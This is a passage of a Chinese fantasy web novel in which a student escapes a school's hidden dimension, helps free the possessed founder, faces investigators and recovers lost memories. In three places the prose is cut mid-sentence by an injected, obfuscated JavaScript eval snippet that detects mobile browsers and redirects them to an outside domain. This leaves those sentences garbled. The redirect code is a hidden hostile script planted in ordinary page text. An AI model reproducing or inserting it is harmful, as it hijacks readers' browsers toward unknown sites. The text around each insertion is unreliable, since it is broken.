“找个能杀了神族残片，但不会杀了我的方式。”应索说，并友好提议：“能先把武器收起来吗？你这幅迫不及待的样子，很难不让我怀疑这其中掺杂了私人恩怨。” 听他们谈话的霍伽：“私人恩怨？” 应索：“你一定不知道，能分辨谎言的斯笛墨也有被骗的时候。” 霍伽：“这我还是知道的。”白骨林事件中，煅嘉以就骗过了斯笛墨，因为对方没撒谎，只说了部分的真话，隐瞒了对自己不利的信息。 应索惊讶：“是吗！那看来在我之后，还有别人成功欺骗了他。” 应索想分享自己当初是如何把斯笛墨骗来学校当教授的，突然意识恍惚了一下，回过神，他已经被霍伽狠狠摁到地面，身下本该平坦的道路被砸得凹陷下去，斯笛墨的剑就贴在他的脖子上。 “真要命。”他说，“但有个好消息，神族残片用不了我的能力，又或者它是个弱智，完全不懂怎么使用我的能力，因为现在的我拥有这个空间的绝对主导权，明明可以把你们都转移走，它非要硬碰硬，真傻。” 斯笛墨：“说过很多次，改改你话痨的毛病。” 应索：“能言善道也是错了。” 斯笛墨：“如果它能使用你的能力，你刚刚的话等于在教它怎么做。” 应索哽住：“好吧，我才是那个弱……唔！” 又一次被神族残片夺取身体的主导权，就像他刚刚说的那样，斯笛墨跟霍伽被转移走了。 原来神族残片能用他的能力，只是从来没用过所以不知道怎么运用，因为他们融合的时候，应索已经被削弱到失去对异空间的掌控。 好不容易把身体主导权抢回来，应索开始思考，他得尽快想出办法，不然斯笛墨只能连他一起杀，而他也确实不会反抗，比起他的存在，将神族复生的可能性都抹除才是最重要的，这点他无比赞同。 但现在不像当初那样走投无路，应该还能挽回一下。 很快，他想到了可以一试的方案。 另一边，抵达图书馆，从龙爪上下来的白佳果感觉手腕内侧发痒，把手抬起一看，发现袖口挂着一只小小的，透明气泡一样的小人。 小人死命拽着白佳果的衣袖，直到白佳果把手腕转过来，它才松一口气，在白佳果的手腕上坐下，顺着掌根的斜坡从手腕滑到掌心。 似乎是觉得好玩，小人又站起来，走到手腕，坐下，重新滑了一次。 宿谬注意到白佳果在干嘛，问：“这是什么？” 白佳果说：“不知道，但有点眼熟。” 透明的气泡小人听见“不知道”三个字，抬起头，朝白佳果挥了挥自己的小手。 白佳果心头一跳：“……‘不知道’？” 气泡小人不仅挥手，还蹦了蹦。 “什么不知道？”双胞胎问，其他人也凑了过来。 白佳果：“它给我的感觉，和那只布人偶很像。” 一样的可可爱爱，没有脑袋。 不过都到雕像这了，气泡小人到底是什么也就不重要了，当务之急是先出去。 出去比进来简单，只需要将手搭上雕像就行。 离开前纷赫琳还不忘当初那个约定，对白佳果说：“出去之后，加个好友吧！” 不等白佳果想好怎么回答，那渊又一次打岔：“先出去再说，着什么急。” 纷赫琳沉下脸，看向那渊的眼神带着尖锐的敌意。 ——这么碍事的家伙，什么时候在学校活动中出事故也正常，对吧。 白佳果站在他们两个中间，关于“气泡小人会不会跟着自己一块离开异空间”的疑惑被“如何拒绝纷赫琳”取代，她沉默着抬起手，搭上雕像。 白佳果消失在原地，其他人也纷纷伸手搭上雕像，跟着离开。 虽然时间是晚上，但异空间内外的学校是截然不同的两种氛围，异空间外的学校看起来一点也不破败阴森，雕像周围还拉起了警戒线不让学生靠近，但即便如此还是格外热闹，林道上都是过来打听消息的学生，还有把车停在警戒线内的校医。 他们出来的时候，警戒线内除了校医和老师，还有空想雅。 空想雅来学校接白佳果，却被告知白佳果不小心进入了创校人留下的异空间，当时异空间内部的雕像被破坏，她没办法进去，就先跟校方商量，去监控室调取了林道的监控做备份，确定白佳果是意外进入，而非有谁蓄意谋害。 连带着飞行摄像头拍下的关于白佳果在异空间内的影像也一并拷贝，确定白佳果在异空间内的情况。 等异空间内的雕像恢复，校方又将她拦下，说斯笛墨教授已经进去，让她再等等，毕竟这是学校的异空间，如果让校外人进入，出什么事情容易掰扯不清。 空想雅一面联系泛理，一面跟校方据理力争，眼看着就要动起手，好在这时那渊他们从异空间里出来。 “白佳果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15803128|169753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢？她不是和你们在一起吗？”面对空想雅实在有些扛不住的老师赶忙问他们。 那渊等人俱是一愣，白佳果不是在他们之前就出来了吗？ # 异空间内，在离开前一刻被动进行空间转移的白佳果站在校史馆外。 校史馆里的灯光透过玻璃墙落在她身上，她压下心底的惊诧，摸出黑金小手枪的同时观察四周，在转身的那一刻正对上那张能令她做噩梦的裂嘴笑面具。 即便日记里说，幽魂的面具出自一千多年前的某个作品，是那个时代许多人的童年，白佳果仍旧无法直视这副面具，更何况此刻的晨礼服就在她面前，这么近的距离。 白佳果没有任何迟疑地抬起手，朝着对方开了两枪。 射出的子弹凝滞在空气中，明明近在咫尺，却没办法命中目标，甚至被目标轻而易举地握在手中。 “我想要的不是这个。”他说着，将两枚子弹扔开，“别害怕，我不会伤害你，当然我说的是我，不包含我体内的神族残片——你可能不知道这是什么，那不重要，你只要记住，如果我突然一句话不说，你最好有多远跑多远。” 由魔力凝聚而成的子弹随风消散，他走到白佳果跟前，摘下白手套，握住白佳果拢着透明小人的左手。 白佳果听着对方的话，大概了解了对方目前的情况，一边在心里疯狂念叨斯笛墨教授和霍迦老师去哪了，一边眼睁睁看着面前的家伙将她的左手展开。 透明小人抱头蹲在她的掌心，重见天日后，小人抬头看看白佳果，又看看晨礼服，似乎感应到什么，它站起来，蹦蹦跳跳地朝应索挥了挥双臂。 “真可爱不是吗。”应索用食指指腹摸了摸透明小人的头顶，小人还踮起脚主动给他摸。 他告诉白佳果：“我现在的情况有点糟糕，虽然我不确定你对这一切的了解有多少，但要从头开始解释恐怕来不及，所以我们直入正题？” 白佳果问：“你需要我做什么？” “聪明的孩子。”应索如释重负，长松一口气：“难怪小家伙喜欢你，我还以为是因为你无法使用魔法，身上没有任何魔力波动，令它感到安心。现在看来你一定帮了它不少忙，毕竟它确实不怎么聪明。” 白佳果：“……” 没人告诉她创校人应索其实是个情商波动颇大的话痨。 白佳果看着对方一手将气泡小人拿走，一手握住她拿枪的手。 应索先是把枪口对准旁边的空地，垫着白佳果的手指压下扳机，一连开了数枪，将子弹全部打光。 这时枪上的魔法晶石全都暗了下去，接着他将双手合拢，气泡小人顺应他的动作，被他一点点摁进手枪。 “这个孩子不是被动从我身上分离出去的幽魂，它是我的灵魂碎片，是我主动留下的一个希望。” “恰好现在我需要它。” 枪上的一颗魔法晶石微微亮起，意味着弹匣里又被填充了一颗子弹，用那只气泡小人填充的子弹。 应索抬起白佳果的手，这次，他将枪口隔着面具抵在自己的额头。 “帮个忙，对我开一枪，你不需要有心理负担，因为那是……” 应索能感觉到神族的残片在试图夺回身体的掌控权，语速不免加快了一些，生怕眼前这位小姑娘在意识到他不是坏人后下不了手，给神族残片可乘之机。 结果是他多虑了。 劝说的话刚起头，白佳果毫不犹豫扣动扳机，子弹旋转着飞出枪膛，一枪崩了那张令白佳果感到无比糟心的面具。 32.第三十二章 强大的冲力让应索的脑袋往后仰了仰。 “啊……”破碎的面具掉落地面，他松开白佳果的手，原地蹲下，捂住额头发出痛苦的呻吟。 不仅是因为那一枪，还因为神族残片融合太久，即便一枪打死，还需要彻底剥离，避免残留的意识对应索的认知造成影响，这个过程有点难受。 白佳果看着没了面具的应索，心里舒坦了。 应索有一头深灰色的头发，黑色的眼睛，这么看来，布人偶应该是他照着自己的外貌制作的。 “你、你是不是不喜欢‘狂笑怪盗’的面具？”应索苦中作乐地调侃，实在闲不住那张嘴。 却不巧猜中了白佳果下手如此果断的原因：“差不多吧，” “……那可真是太让人遗憾了。” 白佳果往后退两步，感应到身后多了个人，猛地转头，发现是斯笛墨，又放松下来。 也不知道他在这站了多久。 “原来如此。”斯笛墨垂眸看了眼白佳果的小手枪，对应索说，“用你被融合前分裂出去的灵魂碎片做子弹，在不伤害到你的情况下，杀死神族残片。你早说有这个办法，我不介意把我的枪借给你。” 说完还真从突然浮现的金色魔法阵里抽出一把白金色的霰.弹枪。 白佳果：“……教授。” 斯笛墨：“怎么了？” 白佳果看看自己手中便于携带的小手枪，又看看对方手中需要两只手才能端起来的霰.弹枪：“你们俩是有什么私人恩怨吗？” 斯笛墨：“……” 还在痛苦的应索即便艰难也还是笑出了声。 霍伽姗姗来迟，异空间内镜像翻转的建筑布局让他耽误了点时间，挥动着骨翼落下时，他正通过耳麦和外面联络：“白佳果吗？她在这，安全。” 耳麦那头不知道说了什么，霍迦走到白佳果面前，伸手替她调了一下耳麦的频道。 “佳果小姐！”白佳果的耳麦里传来空想雅的声音：“您现在还好吗？有没有受伤？” “阿雅！”白佳果高兴道：“我没事，也没有受伤，你不用担心。” 经历了这么多，除了进入异空间前略有擦破皮的掌心，白佳果愣是没添一点伤。 怕出意外，斯笛墨留下，等应索彻底将神族残片清除干净，霍迦则带白佳果离开。 离开前，白佳果留下了自己的耳夹式耳麦，因为应索想有个能随时联系外界的渠道，避免再次遇见有麻烦找不到人求助的困境。 介于异空间的特殊性，他们手边唯有铸造系主任制作的这枚耳麦能用于联络。耳麦是学校的财产，白佳果拿出去也是要上交的，就在斯笛墨的建议下，把耳麦给了他。 这次白佳果顺利走出了异空间。 雕像外，那渊他们发现白佳果没出来，本想返回异空间，却和空想雅一样被校方阻拦，又不愿意听医务老师的话去校医楼做检查，于是一直在原地等待。 直到看见白佳果平安出现，他们悬着的心终于放下。 空想雅确定白佳果没事，替她治愈了掌心的擦伤，准备带她回家。 跟空想雅走之前，白佳果认认真真地，对这次帮助过自己的弥悬和五人组表达了感谢。 如果不是他们来得及时，白佳果不确定事情会发展成什么样。 在校史馆也是多亏了他们，不然她一个人，不可能从幽魂堆里逃出来。 无论上辈子发生过什么，刚才他们帮助了她，这是事实。 所以—— “谢谢你们。” # 这一天过得实在太累，白佳果在回家的路上睡着了。 睡醒正好到家，接到一通来自大伯的电话。 “我没事，好着呢。”她的话音略带困倦，有一搭没一搭地跟大伯聊着：“我哪里知道能这么倒霉，平时都避着雕像走，就今天被弄进去了。” 白佳果走在回房间的路上，身后空想雅联络厨房送晚餐过来，听到白佳果这句话，脚步略微顿了顿。 电话那头，泛理问：“你之前听你爸妈说起过雕像的事情吗？” “嗯……确实有听他们提过。”白佳果反应过来自己说漏了嘴，又实在没精力在此刻提起上辈子，以及自己曾经死过一次的事情，也不想编个谎言去骗大伯，索性先拿爸妈来敷衍一下。 “他们还说如果我觉得无聊，可以去看看，说不定有意外的惊喜。”白佳果毫不客气道：“到底谁会想要这种惊喜啊。” 电话那头陷入了短暂的沉默，同样觉得自己的弟弟和弟妹有点离谱。 “等找到他们，让他们和你道歉。”泛理说。 从白佳果到来那天起，泛理便派人去找白佳果的爹妈，可时至今日仍旧没能找到他们的下落，要不是那条用来证明白佳果身份的项链还没碎，泛理真怀疑他们是不是悄悄地死了。 白佳果兴致缺缺：“再说吧。” 她对他们的歉意毫无期待。 又聊了几句关于异空间的内容，困意渐渐消散的白佳果愉悦地表示黑金小手枪非常好用：“我用你送的枪，救了一个来救我的同学！厉害吧！” “嗯，很厉害。”泛理似是被白佳果的情绪感染，声音染上些许笑意，还提醒白佳果，记得把枪给空想雅拿去充能检修，方便下次使用。 聊完白佳果也回到了房间，吃过晚饭稍作休息再去洗澡，她以为自己会沾床就睡，像在车上那样，可等躺到床上，她发现自己竟然睡不着。 看看时间还早，她把床头放着的书打开看了几行，因为精神上的疲惫，注意力没法集中，书上的内容进了眼睛但没进脑子，看了等于白看，索性把书合上，摸出了手机。 白佳果百无聊赖地上着网，已经能在社交平台上刷到类似“第一学院又发生什么事了”的内容，评论里有人提及白骨林事件，被网友告知那是上上个月的旧事，今天又发生了别的事情。 有人说自己的朋友是第一学院的学生，贴出了聊天记录的截图，说是特殊生不小心闯进了创校人留下的异空间。 【又是特殊生？上次白骨林是不是也有特殊生？是同一个人吗？】 【同一个人的话，应该是事故体质没跑了】 【创校人应索留下的异空间？？那得一千多年了吧？不知道里面什么样。】 【见证历史】 【会成为考题吧……备考生已经开始痛苦了】 …… 因为这些零星的信息，白佳果打开了学校论坛。 实践课刚刚结束，论坛里关于实践课的讨论都被异空间相关的帖子给压了下去。 其中回复数量最多的一条帖子，发布时间在实践课快结束的时候，根据贴子里的回复，能清楚感受到学生们对于异空间的态度变化。 【图书馆外面的雕像里居然藏着异空间，好好好，快毕业了才告诉我是吧。】 【不是说要进去把特殊生带出来吗？怎么又拦着不让进了？】 【后悔了，我想肯定很多人去帮助特殊生，应该捞不到分，就没去，现在告诉我异空间是应索先生留下的？倒扣我学分我也愿意去啊！！！】 【让我进去让我进去让我进去】 【说是人太多了，怕出意外……】 【怕我们出意外，还是怕异空间出意外？】 【那可是创校人留下的异空间，算古遗迹了吧，应该是担心异空间出意外】 起初大家都没意识到异空间的危险，直到蹲守在雕像附近的学生发帖，说不止一个同学受伤出来，直接被送去校医楼，众人才意识到，学校担心的不是异空间，是他们这些学生的安危。 【我居然认为应索留下的异空间脆弱到能被我破坏，是我飘了。】 【也就是说，进去找特殊生的同学都负伤出来了，特殊生还没出来是吗？】 【一群废物，不如换我去】 【希望特殊生平安】 后续贴子里有进过异空间的同学出现，讲述自己在异空间里的遭遇，提到了异空间里戴面具的不知名生物。 白佳果从雕像里出来的时候，有人专门发了帖子，这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15808655|169753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贴子里也有人表示庆贺，并问谁有特殊生的联系方式，或者谁跟特殊生关系好，能不能去问问在异空间里到底发生了什么。 这么一问才发现，特殊生好像没有跟谁走得特别近过。 帖子突然歪掉，有完全没接触过白佳果的同学表示：【特殊生性格好孤僻】 【特殊生不算孤僻吧，她性格挺好的，跟她打招呼她会回应，上课很认真，教授也都很喜欢她，但确实总看她一个人】 怕太多关于特殊生的内容会让帖子被删，讨论堪堪停止，回到异空间的话题上。 白佳果又另外刷了好几个帖子，终于酝酿出睡意。 关掉手机前，已经有人挖出那戴面具的生物是幽魂，相关专业的学生科普了一下幽魂的来历，表示没有主人的异空间才会滋生幽魂，而幽魂的滋生，往往意味着空间即将失控。 白佳果清楚这个说法一旦传出校外，必然会引发舆论，毕竟让学生进入即将失控的异空间，怎么都说不过去，学校最好快点给出解释，避免舆论发酵。 白佳果沉沉睡去，第二天醒来，果然看到学校官方账号对外发布了关于异空间的公告。 公告清楚说明了异空间的来历，还有在三十年前出现幽魂后便禁止学生入内，直到二十多年前异空间认主，不会再失控，但因为本该自然消亡的幽魂一直都在，所以空间没有重新开放的始末。 公告下面还出现了少量毕业至少三十年以上，如今在各行各业工作的学生，他们表示自己曾意外发现雕像上的谜题，在解开谜题后进入过异空间，他们称那里为“应索的花园”。 恰好赶上幽魂滋生的学生也说，学校确实曾在某一天突然要求他们不许再进入异空间。 当然更多的毕业生是不敢置信，怀疑自己当年读了个假书，竟然完全没发现图书馆外的雕像那藏了个异空间。 要知道，绝大多数刚入学的新生，都去和应索的雕像合过影。 临近考试周，学生们还会给雕像供点东西祈求考试顺利。 谁能想到异空间的入口离他们那么近，而他们却一无所知 有人在公告下问，此后异空间会不会对学生或校外人士开放？ 校方表示还在商议中，因为这个异空间的特殊性，已经有相关的国家机构介入调查，能不能开放得考虑各方面的因素。 校方在这一点上含糊其辞，没说异空间被调查的原因，是有人往异空间里投放神族残片，涉嫌复活神明。 # 白佳果吃完早饭去上幻术课，怕被同学追问在异空间里的经历，她踩点进入教室，刚上十分钟的课，朽教授便接到电话，让白佳果去一趟校长室，说是要了解一些情况。 白佳果诧异：“现在？那我不是要错过这堂课了。” 朽教授感动：“我会为你开课堂录像的，放心去吧。” “那就麻烦你了。”白佳果收拾好课本，前往校长室。 这会儿正是上课时间，一路上都没什么人，进入办公楼人才多起来，白佳果远远看到了对面走廊上的五人组，大概也是被叫过来问情况的。 他们发现白佳果，立刻便朝着白佳果这边来。 白佳果迟疑，她还没加纷赫琳好友，不知道该怎么拒绝。 就在白佳果转身想要跑路之际，一个男生拦住了白佳果的去路。 “白佳果。”男生唤出白佳果的名字。 男生长得很眼熟，白佳果花了两秒，想起对方是昨天她在异空间里用速眠剂救下的那个男生。 “呃……你好。”白佳果想快点离开，余光注意着对面走廊，没发现男生脸上不好意思的表情。 男生：“谢谢你昨天救我。” 白佳果摆摆手：“不用谢，你进异空间也是为了救我，我当然不能不管你。” “还是要谢的，那、那个什么，我想问一下，就是……咳！”男生清了清嗓子，鼓起勇气问道：“你有男朋友吗？” 白佳果：“啊？” 不远处，五人组听到男生在问什么，齐刷刷停下脚步。 33.第三十三章 同龄异性之间突然问这个问题，后面大概率跟着表白。 白佳果诚实回答：“没有。” 果然男生涨红了脸：“那、那我能追求你吗？” 白佳果不是第一次被表白，但她还是会意外，因为她从来没有被魔法世界的人表白过。 这还是第一次。 考虑到五人组也没有和谁谈恋爱的苗头，或许是因为这个世界有长生种，大家都比较习惯等年纪大点再考虑感情问题？ 白佳果乱猜的。 回到眼下，她摇头拒绝：“我没有这方面的想法。” 男生满肚子想说的话，就等着在白佳果犹豫的时候说出来，告诉她自己为什么会这么突然提出想要追求她，告诉她那天在异空间的图书馆里，他以为弱小的特殊生反过来保护了他，有多么令他印象深刻。 昨晚他在校医楼醒来，第一反应就是问特殊生的情况，确定特殊生已经从异空间出来后，他怎么都睡不着，不停地刷论坛。以前他刷到关于特殊生的帖子，总是不放心上，看几眼就关掉，昨晚他努力找了大半宿有关特殊生的帖子，想对特殊生能有多点了解。 至于为什么，他起先也不明白，就是莫名地在意。 直到今早，他说想找白佳果表达感谢，舍友开玩笑说他这么夸张，又是上网搜道谢送什么礼物，又是约理发店做新造型，还拜托经常去图书馆的同学遇到特殊生记得联系他。这么费心准备，不像感谢，像去表白，他才明白自己对白佳果产生了好感。 他不觉得这很奇怪，文学作品里多的是因为被救而一见钟情非他不可的桥段，以前看还会吐槽，轮到自己才明白这有多正常，喜欢就是一瞬间的事情。 可他没想到会在办公楼偶遇白佳果，一切的准备都敌不过心中的冲动，于是他开口叫住她，在购买的礼物还没送到，形象也和往常没什么两样的情况下，冲动地表了白。 更没想到的是，白佳果完全没有犹豫，连委婉地推托都没有，让他甚至来不及说一说自己喜欢上她的心路历程。 他大受打击：“是、是吗……” 白佳果看他整个人都失去了颜色，挠了挠脸颊，但没有说多余的话。 她在别的事情上会安慰并体谅别人的心情，唯独在拒绝别人的感情这方面，她吃过教训，所以不太会和人客套。 “那我能不能……”男生还想为自己争取一下，被突然响起的声音打断。 “佳果！”纷赫琳跑到白佳果面前“你也是被校长叫过来的吗？” 白佳果：“……嗯。” 双胞胎跟着凑过来：“那我们一起吧，正好我们都要去校长室。”双胞胎异口同声，说话的同时隔开白佳果与男生。 那渊难得没和双胞胎唱反调，也没揭穿他们其实刚从校长室里出来的事实：“是啊，刚好顺路。” 男生被挤得往后退了两步，想要表达不满，就听见宿谬关切地问他：“你还好吗？” 突如其来的关心让男生反而不太好发作：“啊？啊……我没事。” 就这么两句话的功夫，白佳果已经被纷赫琳拉着走了，双胞胎和那渊跟在白佳果身后，三个人像堵墙一样挡掉了男生投向白佳果的视线。 宿谬跟上去，走之前还挂着那副笑眯眯的表情，礼貌地和男生道了别。 # 虽然白佳果还是没能远离五人组，但好在纷赫琳也没提起加好友的事情，而是天南地北地跟她扯了一路的闲话，还提到了双胞胎这个月生日，问白佳果有没有空来参加生日派对。 白佳果说下半个月自己都没时间。 不巧，双胞胎的生日正好在月末。 来到校长室，校长室里不仅有校长，还有一男一女两个穿着制服的人。 校长看着去而复返的五人组，无奈表示他们需要单独跟白佳果谈谈，并且现在是上课时间，五人组有早课，还是必修课。如果来得及的话，校长希望他们能回去上课。 五人组只好退出校长办公室。 关上门，校长好笑道：“现在的小孩交起朋友来都这么粘人吗？” 白佳果张了张嘴，想说他们不是朋友，但想想说完可能还要解释为什么，有些麻烦，干脆闭上嘴。 根据校长介绍，穿着制服的两个人是负责这次调查的专案组成员，白佳果在他们的要求下，简单讲述了一遍昨天的经历，他们听完又问了几个非常刁钻的问题，比如：“你为什么会突然想去当实践课的志愿者？” 白佳果：“一时兴起，我用不了魔法，所以我想近距离看看用魔法打架是怎么样的。” 对于这个回答，只有校长表示遗憾，那两人则是继续提问。 “雕像被打碎后，你为什么没有找安全的地方躲着，而是听一个来历不明的布人偶的话，去校史馆找日记？” 白佳果摇头：“我当时不是一个人，还有六个同学在，他们很厉害，有他们我当然不害怕。” “我们了解到，你的父母继承了应索先生的异空间。” 白佳果想了想，说道：“他们只和我推荐了异空间，说我如果觉得无聊可以去图书馆外的应索雕像那看看，关于他们继承异空间这点，我是从老师那听来的。” “哪个老师？” “霍迦。” “你父母为什么让你觉得无聊可以去异空间看看？” 白佳果耸耸肩：“他们的原话是会有意想不到的惊喜，可能是觉得异空间有幽魂追击，足够惊险刺激。” “你没有魔法，他们推荐你去异空间，不怕你遇到危险吗？” 白佳果突然沉默了。 那两人对视一眼，猜测可能问到了点上，于是唤了声白佳果的名字：“白佳果？” 白佳果：“他们就是这样的混蛋。” “什么？” “我说——”白佳果深吸一口气，重复道：“他们就是这样的混蛋，不守信用，不知轻重，脑子里只有冒险冒险冒险，永远都在寻找命悬一线的刺激。你说他们会不会怕我遇到危险？”白佳果笑了一声，“他们脑子里绝对没有想过这个问题，甚至还会觉得自己的提议太妙了。” “还有什么要问的吗？”白佳果主动道。 那两人又问了白佳果几个问题，比如她的父母有没有信仰什么宗教，目前在哪，曾经去过什么地方探险。 白佳果说没有，她不记得他们信仰过宗教，目前在哪不确定，至于曾经去过什么地方探险…… 白佳果：“我怎么知道他们，我跟他们又不熟。” 问完话，那两人离开，开门出去的时候发现五人组居然还在走廊上。 校长也看到了他们，想缓和白佳果因为提起父母而明显不佳的情绪，便说道：“至少，你有一群在乎你的朋友。” 白佳果：“……” 如果说斯笛墨的刻薄是故意的，即便关心也要裹上一层刺，那这位校长就是明明好心，但总能误打误撞说些别人不爱听的话。 那渊几个在门口探头探脑，校长想了想，还是没有继续留下白佳果再问点什么。 走出校长室，白佳果的心情并没有校长以为的那么糟糕。 专案组的问话很明显是在怀疑她爸妈。 即便二十八年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15833731|169753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前她爸妈还没入学，也不排除他们在继承异空间后，知晓有人试图复活神明却协助隐瞒的可能性。 白佳果能怎么办，当然是让所有人都知道她和父母关系不好，把自己撇干净，不然怎么赶在这个月中下旬悄悄去古遗迹把那对糟心夫妻捞出来。 不过她平时演技没那么好，这次能表现得这么真情实感，是因为她确实对自己的爸妈有很大意见。 走出校长室，她准备找个理由跟五人组道别，这时纷赫琳想起之前的约定，拿出手机要加她好友。 事到如今也没什么好拒绝的了，毕竟是她说的，如果纷赫琳剪了刘海露出眼睛，就同意跟纷赫琳做朋友。 白佳果加了纷赫琳。 边上的双胞胎和那渊掏出手机，试图蹭一个好友，但不等白佳果拒绝，纷赫琳就先挡在了白佳果面前：“我跟佳果做朋友，有你们什么事？” 依照约定克服习惯剪掉刘海的是她！谁都别想趁机捡便宜！ 那渊：“可恶。” 双胞胎比他看得开—— “有什么关系，反正有你在。” “时间长了。” “白佳果会和我们成为朋友的。” 白佳果不喜欢他们自信的推测，便说道：“我下个月应该就不在这了。” 众人都很意外。 双胞胎：“不在这是什么意思？” 白佳果：“我大概下个月就会退学离开这里。”所以没有什么“时间长了”的说法。 纷赫琳：“为什么？这也太突然了。” 那渊立刻想到：“是有谁欺负你了吗？” 宿谬则想到刚刚那个男生：“还是有谁纠缠你了。” 宿谬说完意识到不对，看了看那渊、双胞胎和纷赫琳——要说对白佳果的纠缠，这边几位也不遑多让，难道…… 好在，白佳果说：“不突然，我本来就是这么打算的，我在这里不会待很久。” 那渊对白佳果没被欺负感到庆幸，又对白佳果即将退学感到失落。 “那你……”那渊话刚起头，被纷赫琳一把截断—— “就算不在一所学校读书，我们还是能做朋友，经常联系！” 白佳果愣了愣，记忆中，好像曾经出现过类似的场景。 【就算不在一起，我们还是朋友。】 诶？ 这是什么时候的事情。 白佳果努力回想，看语境应该是上辈子她要离开魔法世界的时候，但…… 白佳果忽然意识到，自己好像从来没有主动回忆过离开魔法世界前那段时间发生的事情。 白佳果顾不上因为自己表情奇怪而发出关心询问的五人组，抬起手制止他们：“你们、先别说话！” 白佳果闭了闭眼，皱着眉头努力去想。 【我不管，你只能和我最要好……】 模糊的记忆挤牙膏似的地出现，就连记忆中的话语，也是那样零碎。 【我没有闹别扭，我只是……我只是担心，你退学去了别的地方，会有新的……朋友，然后把我忘了……】 【有时候会羡慕那渊，能直接表达对你的不舍。】 【你一定也会想我们，对吧。】 【为什么在这方面这么迟钝……我弟说的‘我们’，是指我和他，不包括别的人——特别是那头蠢龙。】 …… 这些记忆乱七八糟地冒出来，从断断续续到逐渐连贯，就像是被压了太久，撤掉禁锢后依旧按照习惯压着，直到触发某个熟悉的字句，让她发现端倪，被她充满疑惑地触碰后，突然喷涌而出。 34.第三十四章 “轻度记忆震荡，让她吃点药睡一觉就好了。” 白佳果差点晕倒在走廊上，是纷赫琳及时接住了她。 随后五人组将状态明显不对的白佳果送去校医楼，经过检查后，医务老师得出结论，去联系特殊生的家长。 很快空想雅便赶来，确认白佳果没有大碍，目前需要休息，她跟五人组道了谢，并礼貌询问起白佳果身体出现不适前发生了什么。 五人组将刚才发生的事情都说了一遍，空想雅听完，不确定问题出在哪，只能等白佳果醒来再说。 五人组还有课，况且病房这边有空想雅，他们不好赖着不走。 离开前，宿谬拜托空想雅：“如果白佳果醒了，麻烦你让她跟我们发个信息说一声，免得大家担心。” 空想雅应下：“我会提醒佳果小姐的。” # 白佳果睡了一上午。 醒来整个人愣愣的，缓了好一会儿才坐起身，问现在的时间。 “现在是中午十一点半，您睡了大约两个半小时。”空想雅替白佳果调节病床，方便她靠在床头，又用检测咒确定她目前的身体情况。 检测结果良好，除了记忆震荡，没有任何异常。 “我怎么了？”白佳果问。 空想雅：“轻微的记忆震荡，您的记忆是出什么问题了吗？” 白佳果：“……嗯，该怎么说呢。” 她脑子里突然多了一部分记忆？不对，这份记忆一直都在，但在此之前，她一直都没有去回想过这段记忆。 就像是有一堵墙挡在那个位置，她看到有墙，自然而然地拐弯绕了过去，没去想过墙后面是什么，也没想过为什么会有这堵墙。 斯笛墨在她灵魂里发现的“墙”，挡得就是这些记忆？ 白佳果想了想，觉得应该不止，还有她对五人组是否真把她当学分工具人的怀疑。 因为在斯笛墨替她清除掉“墙”以后，她发现自己不止一次有过这方面的动摇，动摇的理由相当充分—— 她太了解他们了。 她知道他们的喜好和弱点，知道他们内心的阴霾，知道怎么做可以最大程度的左右他们的决定和想法。 因此她清楚宿谬的本性，见过双胞胎不为人知的一面，知道怎么摆脱追着自己不放的纷赫琳，明白在那渊面前用自己威胁他效果更好…… 现在想想，矛盾点从一开始就在，如果他们从没对白佳果交付过真心，白佳果怎么可能了解这么多。 那些回想起来的记忆为她的怀疑提供了更加强而有力的支撑。 其中有很多零碎的边角片段，也有大段的连贯内容。 比如其中被遗忘最彻底的，是她在救出父母，准备退学离开的那几天。 那段时间纷赫琳跟那渊的情绪都很不好。 纷赫琳要白佳果保证，只跟她最要好。 白佳果答应她：“嗯，我只跟你最好，我保证。” “真的？”纷赫琳向白佳果确认，双眼透过刘海的缝隙望着白佳果，认真的模样中透出一丝丝病态的执拗。 白佳果非但不觉得夸张害怕，甚至有些习惯地给予回应：“真的！” 那渊担心白佳果会有新的朋友，会把他忘了。 当时他们俩在学校的人工湖旁，因为地理位置偏僻，又是一大早上，所以附近没人，就他们俩。 白佳果找了他半天，终于在湖边的树上找到他，问他为什么要跟宿谬吵架，为什么这几天脾气这么差，在闹什么别扭。 那渊说：“我没有闹别扭，我只是……我只是担心，你退学去了别的地方，会有新的朋友，然后把我忘了。” 白佳果拿着手机，一边给宿谬发定位，一边说：“拜托，你可是龙诶，光这一点就很难忘了你吧。” “只因为我是龙吗？”那渊更沮丧了。 “当然不是。”白佳果放下手机，走到旁边的长椅上坐下，拍了拍自己的腿，朝那渊唤道：“下来。” 那渊从树上下来，明明很大只的一个人，居然非常熟练地蹲在白佳果面前，把双手搭在白佳果腿上，最后将脑袋枕上去。 听话得不得了。 